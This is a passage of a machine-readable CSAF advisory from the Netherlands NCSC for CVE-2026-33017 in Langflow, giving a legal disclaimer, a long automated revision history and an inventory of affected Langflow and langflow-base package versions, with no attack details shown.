{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33017", "tracking": { "current_release_date": "2026-04-01T06:22:04.128242Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33017", "initial_release_date": "2026-03-17T21:00:11.959008Z", "revision_history": [ { "date": "2026-03-17T21:00:11.959008Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-17T21:00:14.161979Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-18T11:37:18.267704Z", "number": "3", "summary": "NCSC Score updated." }, { "date": "2026-03-19T11:40:21.215634Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-19T11:40:25.758292Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:25:46.532540Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T18:25:57.307623Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:29:39.769379Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T18:29:41.742312Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-20T19:26:15.565818Z", "number": "10", "summary": "References created (1)." }, { "date": "2026-03-20T19:39:02.035139Z", "number": "11", "summary": "References created (1).| Unknown change." }, { "date": "2026-03-20T19:51:52.327536Z", "number": "12", "summary": "Source connected.| CVE status created. (valid)| Products connected (1).| Products created (1).| References created (5)." }, { "date": "2026-03-20T19:51:54.764115Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:18:24.429522Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:59:14.245803Z", "number": "15", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T21:59:17.473745Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-22T08:13:32.185541Z", "number": "17", "summary": "Source created.| CVE status created. (valid)| News created (1)." }, { "date": "2026-03-22T08:13:34.639745Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-03-23T12:18:36.296957Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-03-24T02:11:53.602901Z", "number": "20", "summary": "References created (1)." }, { "date": "2026-03-24T02:12:04.851601Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-03-24T03:19:10.559691Z", "number": "22", "summary": "Exploits created (1)." }, { "date": "2026-03-24T03:19:16.609572Z", "number": "23", "summary": "NCSC Score updated." }, { "date": "2026-03-24T21:25:35.886346Z", "number": "24", "summary": "CVSS created.| Products created (13).| Product Identifiers created (13).| Exploits created (2)." }, { "date": "2026-03-24T21:25:47.396087Z", "number": "25", "summary": "NCSC Score updated." }, { "date": "2026-03-24T21:38:17.766733Z", "number": "26", "summary": "EPSS updated." }, { "date": "2026-03-24T23:12:55.432094Z", "number": "27", "summary": "CVSS updated.| References created (5).| CWES updated (1)." }, { "date": "2026-03-24T23:13:04.201534Z", "number": "28", "summary": "NCSC Score updated." }, { "date": "2026-03-25T01:53:34.974835Z", "number": "29", "summary": "NCSC Score updated." }, { "date": "2026-03-25T11:13:50.131689Z", "number": "30", "summary": "CVSS updated.| References removed (5).| CWES updated (1)." }, { "date": "2026-03-25T11:14:00.185370Z", "number": "31", "summary": "NCSC Score updated." }, { "date": "2026-03-25T14:53:37.454988Z", "number": "32", "summary": "CVSS updated.| References created (5).| CWES updated (1)." }, { "date": "2026-03-25T14:53:44.611181Z", "number": "33", "summary": "NCSC Score updated." }, { "date": "2026-03-25T17:39:03.314099Z", "number": "34", "summary": "References created (1).| Unknown change." }, { "date": "2026-03-25T18:26:23.611652Z", "number": "35", "summary": "References created (1)." }, { "date": "2026-03-25T18:36:15.223643Z", "number": "36", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (283).| Product Identifiers created (289).| Products created (7).| References created (6).| CWES updated (1)." }, { "date": "2026-03-25T18:39:12.477872Z", "number": "37", "summary": "References created (1)." }, { "date": "2026-03-25T18:45:00.240700Z", "number": "38", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products connected (1).| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-25T18:45:03.068697Z", "number": "39", "summary": "NCSC Score updated." }, { "date": "2026-03-25T20:54:00.926982Z", "number": "40", "summary": "Products created (1).| Product Identifiers created (1).| Products removed (13).| References created (1)." }, { "date": "2026-03-25T22:39:05.523802Z", "number": "41", "summary": "References created (1)." }, { "date": "2026-03-25T23:24:50.253203Z", "number": "42", "summary": "References created (1)." }, { "date": "2026-03-26T00:51:11.498906Z", "number": "43", "summary": "EPSS updated." }, { "date": "2026-03-26T07:28:47.866734Z", "number": "44", "summary": "NCSC Score updated." }, { "date": "2026-03-26T09:15:53.796637Z", "number": "45", "summary": "NCSC Score updated." }, { "date": "2026-03-26T15:02:45.529432Z", "number": "46", "summary": "EPSS updated." }, { "date": "2026-03-26T15:02:50.809493Z", "number": "47", "summary": "NCSC Score updated." }, { "date": "2026-03-26T16:59:23.650436Z", "number": "48", "summary": "CVSS created.| References created (5)." }, { "date": "2026-03-26T18:43:32.435011Z", "number": "49", "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Products created (1).| Products removed (1).| References created (5)." }, { "date": "2026-03-26T20:38:30.032142Z", "number": "50", "summary": "Source created.| CVE status created. (valid)| News created (1)." }, { "date": "2026-03-26T20:38:32.539444Z", "number": "51", "summary": "NCSC Score updated." }, { "date": "2026-03-27T20:45:20.365314Z", "number": "52", "summary": "NCSC Score updated." }, { "date": "2026-03-27T20:58:06.442810Z", "number": "53", "summary": "EPSS updated." }, { "date": "2026-03-29T03:15:52.517746Z", "number": "54", "summary": "CVSS updated.| References removed (10).| CWES updated (1)." }, { "date": "2026-03-29T03:16:03.875246Z", "number": "55", "summary": "NCSC Score updated." }, { "date": "2026-03-29T16:14:48.446673Z", "number": "56", "summary": "CVSS updated.| References created (10).| CWES updated (1)." }, { "date": "2026-04-01T06:20:27.148001Z", "number": "57", "summary": "NCSC Score updated." } ], "status": "interim", "version": "57" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-2807573" } } ], "category": "product_name", "name": "Langflow" } ], "category": "vendor", "name": "Langflow" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/1.7.1", "product": { "name": "vers:unknown/1.7.1", "product_id": "CSAFPID-5875751", "product_identification_helper": { "cpe": "cpe:/a:langflow:langflow:1.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/<=1.8.1", "product": { "name": "vers:unknown/<=1.8.1", "product_id": "CSAFPID-5875752" } } ], "category": "product_name", "name": "Langflow" } ], "category": "vendor", "name": "Open Source" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.8.2", "product": { "name": "vers:unknown/<1.8.2", "product_id": "CSAFPID-5909695", "product_identification_helper": { "cpe": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "langflow" } ], "category": "vendor", "name": "langflow" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.31", "product": { "name": "vers:unknown/0.0.31", "product_id": "CSAFPID-3234757", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.31" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.32", "product": { "name": "vers:unknown/0.0.32", "product_id": "CSAFPID-3234758", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.32" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.33", "product": { "name": "vers:unknown/0.0.33", "product_id": "CSAFPID-3234759", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.33" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.40", "product": { "name": "vers:unknown/0.0.40", "product_id": "CSAFPID-3234760", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.40" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.44", "product": { "name": "vers:unknown/0.0.44", "product_id": "CSAFPID-3234761", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.44" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.45", "product": { "name": "vers:unknown/0.0.45", "product_id": "CSAFPID-3234762", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.45" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.46", "product": { "name": "vers:unknown/0.0.46", "product_id": "CSAFPID-3234763", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.46" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.52", "product": { "name": "vers:unknown/0.0.52", "product_id": "CSAFPID-3234764", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.52" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.53", "product": { "name": "vers:unknown/0.0.53", "product_id": "CSAFPID-3234765", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.53" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.54", "product": { "name": "vers:unknown/0.0.54", "product_id": "CSAFPID-3234766", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.54" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.55", "product": { "name": "vers:unknown/0.0.55", "product_id": "CSAFPID-3234767", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.55" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.56", "product": { "name": "vers:unknown/0.0.56", "product_id": "CSAFPID-3234768", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.56" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.57", "product": { "name": "vers:unknown/0.0.57", "product_id": "CSAFPID-3234769", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.57" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.58", "product": { "name": "vers:unknown/0.0.58", "product_id": "CSAFPID-3234770", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.58" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.61", "product": { "name": "vers:unknown/0.0.61", "product_id": "CSAFPID-3234771", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.61" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.62", "product": { "name": "vers:unknown/0.0.62", "product_id": "CSAFPID-3234772", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.62" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.63", "product": { "name": "vers:unknown/0.0.63", "product_id": "CSAFPID-3234773", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.63" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.64", "product": { "name": "vers:unknown/0.0.64", "product_id": "CSAFPID-3234774", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.64" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.65", "product": { "name": "vers:unknown/0.0.65", "product_id": "CSAFPID-3234775", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.65" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.66", "product": { "name": "vers:unknown/0.0.66", "product_id": "CSAFPID-3234776", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.66" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.67", "product": { "name": "vers:unknown/0.0.67", "product_id": "CSAFPID-3234777", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.67" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.68", "product": { "name": "vers:unknown/0.0.68", "product_id": "CSAFPID-3234778", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.68" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.69", "product": { "name": "vers:unknown/0.0.69", "product_id": "CSAFPID-3234779", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.69" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.70", "product": { "name": "vers:unknown/0.0.70", "product_id": "CSAFPID-3234780", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.70" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.71", "product": { "name": "vers:unknown/0.0.71", "product_id": "CSAFPID-3234781", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.71" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.72", "product": { "name": "vers:unknown/0.0.72", "product_id": "CSAFPID-3234782", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.72" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.73", "product": { "name": "vers:unknown/0.0.73", "product_id": "CSAFPID-3234783", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.73" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.74", "product": { "name": "vers:unknown/0.0.74", "product_id": "CSAFPID-3234784", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.74" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.75", "product": { "name": "vers:unknown/0.0.75", "product_id": "CSAFPID-3234785", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.75" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.76", "product": { "name": "vers:unknown/0.0.76", "product_id": "CSAFPID-3234786", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.76" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.78", "product": { "name": "vers:unknown/0.0.78", "product_id": "CSAFPID-3234787", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.78" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.79", "product": { "name": "vers:unknown/0.0.79", "product_id": "CSAFPID-3234788", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.79" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.80", "product": { "name": "vers:unknown/0.0.80", "product_id": "CSAFPID-3234789", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.80" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.81", "product": { "name": "vers:unknown/0.0.81", "product_id": "CSAFPID-3234790", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.81" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.83", "product": { "name": "vers:unknown/0.0.83", "product_id": "CSAFPID-3234791", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.83" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.84", "product": { "name": "vers:unknown/0.0.84", "product_id": "CSAFPID-3234792", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.0.84" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.85", "product": { "name": "vers:unknown/0.0.85", "product_id": "CSAFPID-3234793", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.85" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.86", "product": { "name": "vers:unknown/0.0.86", "product_id": "CSAFPID-3234794", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.86" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.87", "product": { "name": "vers:unknown/0.0.87", "product_id": "CSAFPID-3234795", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.87" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.88", "product": { "name": "vers:unknown/0.0.88", "product_id": "CSAFPID-3234796", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.88" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.89", "product": { "name": "vers:unknown/0.0.89", "product_id": "CSAFPID-3234797", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.0.89" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.0", "product": { "name": "vers:unknown/0.1.0", "product_id": "CSAFPID-3234798", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.2", "product": { "name": "vers:unknown/0.1.2", "product_id": "CSAFPID-3234799", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.3", "product": { "name": "vers:unknown/0.1.3", "product_id": "CSAFPID-3234800", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.4", "product": { "name": "vers:unknown/0.1.4", "product_id": "CSAFPID-3234801", "product_identification_helper": { "purl": "pkg:pypi/langflow-base@0.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.5", "product": { "name": "vers:unknown/0.1.5", "product_id": "CSAFPID-3234802", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.1.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.6", "product": { "name": "vers:unknown/0.1.6", "product_id": "CSAFPID-3234803", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.1.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.7", "product": { "name": "vers:unknown/0.1.7", "product_id": "CSAFPID-3234804", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.1.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.0", "product": { "name": "vers:unknown/0.2.0", "product_id": "CSAFPID-3234805", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.1", "product": { "name": "vers:unknown/0.2.1", "product_id": "CSAFPID-3234806", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.10", "product": { "name": "vers:unknown/0.2.10", "product_id": "CSAFPID-3234807", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.11", "product": { "name": "vers:unknown/0.2.11", "product_id": "CSAFPID-3234808", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.12", "product": { "name": "vers:unknown/0.2.12", "product_id": "CSAFPID-3234809", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.13", "product": { "name": "vers:unknown/0.2.13", "product_id": "CSAFPID-3234810", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.13" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.2", "product": { "name": "vers:unknown/0.2.2", "product_id": "CSAFPID-3234811", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.3", "product": { "name": "vers:unknown/0.2.3", "product_id": "CSAFPID-3234812", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.4", "product": { "name": "vers:unknown/0.2.4", "product_id": "CSAFPID-3234813", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.5", "product": { "name": "vers:unknown/0.2.5", "product_id": "CSAFPID-3234814", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.6", "product": { "name": "vers:unknown/0.2.6", "product_id": "CSAFPID-3234815", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.7", "product": { "name": "vers:unknown/0.2.7", "product_id": "CSAFPID-3234816", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.8", "product": { "name": "vers:unknown/0.2.8", "product_id": "CSAFPID-3234817", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.9", "product": { "name": "vers:unknown/0.2.9", "product_id": "CSAFPID-3234818", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.2.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.0", "product": { "name": "vers:unknown/0.3.0", "product_id": "CSAFPID-3234819", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.1", "product": { "name": "vers:unknown/0.3.1", "product_id": "CSAFPID-3234820", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.2", "product": { "name": "vers:unknown/0.3.2", "product_id": "CSAFPID-3234821", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.3", "product": { "name": "vers:unknown/0.3.3", "product_id": "CSAFPID-3234822", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.4", "product": { "name": "vers:unknown/0.3.4", "product_id": "CSAFPID-3234823", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.0", "product": { "name": "vers:unknown/0.4.0", "product_id": "CSAFPID-3234824", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.1", "product": { "name": "vers:unknown/0.4.1", "product_id": "CSAFPID-3234825", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.10", "product": { "name": "vers:unknown/0.4.10", "product_id": "CSAFPID-3234826", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.11", "product": { "name": "vers:unknown/0.4.11", "product_id": "CSAFPID-3234827", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.12", "product": { "name": "vers:unknown/0.4.12", "product_id": "CSAFPID-3234828", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.14", "product": { "name": "vers:unknown/0.4.14", "product_id": "CSAFPID-3234829", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.14" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.15", "product": { "name": "vers:unknown/0.4.15", "product_id": "CSAFPID-3234830", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.15" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.16", "product": { "name": "vers:unknown/0.4.16", "product_id": "CSAFPID-3234831", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.16" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.17", "product": { "name": "vers:unknown/0.4.17", "product_id": "CSAFPID-3234832", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.17" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.18", "product": { "name": "vers:unknown/0.4.18", "product_id": "CSAFPID-3234833", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.18" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.19", "product": { "name": "vers:unknown/0.4.19", "product_id": "CSAFPID-3234834", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.19" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.2", "product": { "name": "vers:unknown/0.4.2", "product_id": "CSAFPID-3234835", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.20", "product": { "name": "vers:unknown/0.4.20", "product_id": "CSAFPID-3234836", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.20" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.21", "product": { "name": "vers:unknown/0.4.21", "product_id": "CSAFPID-3234837", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.21" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.3", "product": { "name": "vers:unknown/0.4.3", "product_id": "CSAFPID-3234838", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.4", "product": { "name": "vers:unknown/0.4.4", "product_id": "CSAFPID-3234839", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.5", "product": { "name": "vers:unknown/0.4.5", "product_id": "CSAFPID-3234840", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.6", "product": { "name": "vers:unknown/0.4.6", "product_id": "CSAFPID-3234841", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.7", "product": { "name": "vers:unknown/0.4.7", "product_id": "CSAFPID-3234842", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.8", "product": { "name": "vers:unknown/0.4.8", "product_id": "CSAFPID-3234843", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.9", "product": { "name": "vers:unknown/0.4.9", "product_id": "CSAFPID-3234844", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.4.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0", "product": { "name": "vers:unknown/0.5.0", "product_id": "CSAFPID-3234845", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a0", "product": { "name": "vers:unknown/0.5.0a0", "product_id": "CSAFPID-3234846", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a1", "product": { "name": "vers:unknown/0.5.0a1", "product_id": "CSAFPID-3234847", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a2", "product": { "name": "vers:unknown/0.5.0a2", "product_id": "CSAFPID-3234848", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a3", "product": { "name": "vers:unknown/0.5.0a3", "product_id": "CSAFPID-3234849", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a4", "product": { "name": "vers:unknown/0.5.0a4", "product_id": "CSAFPID-3234850", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a5", "product": { "name": "vers:unknown/0.5.0a5", "product_id": "CSAFPID-3234851", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0a6", "product": { "name": "vers:unknown/0.5.0a6", "product_id": "CSAFPID-3234852", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0a6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0b0", "product": { "name": "vers:unknown/0.5.0b0", "product_id": "CSAFPID-3234853", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0b0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0b2", "product": { "name": "vers:unknown/0.5.0b2", "product_id": "CSAFPID-3234854", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0b2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0b3", "product": { "name": "vers:unknown/0.5.0b3", "product_id": "CSAFPID-3234855", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0b3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0b4", "product": { "name": "vers:unknown/0.5.0b4", "product_id": "CSAFPID-3234856", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0b4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0b5", "product": { "name": "vers:unknown/0.5.0b5", "product_id": "CSAFPID-3234857", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0b5" } } }, { "category": 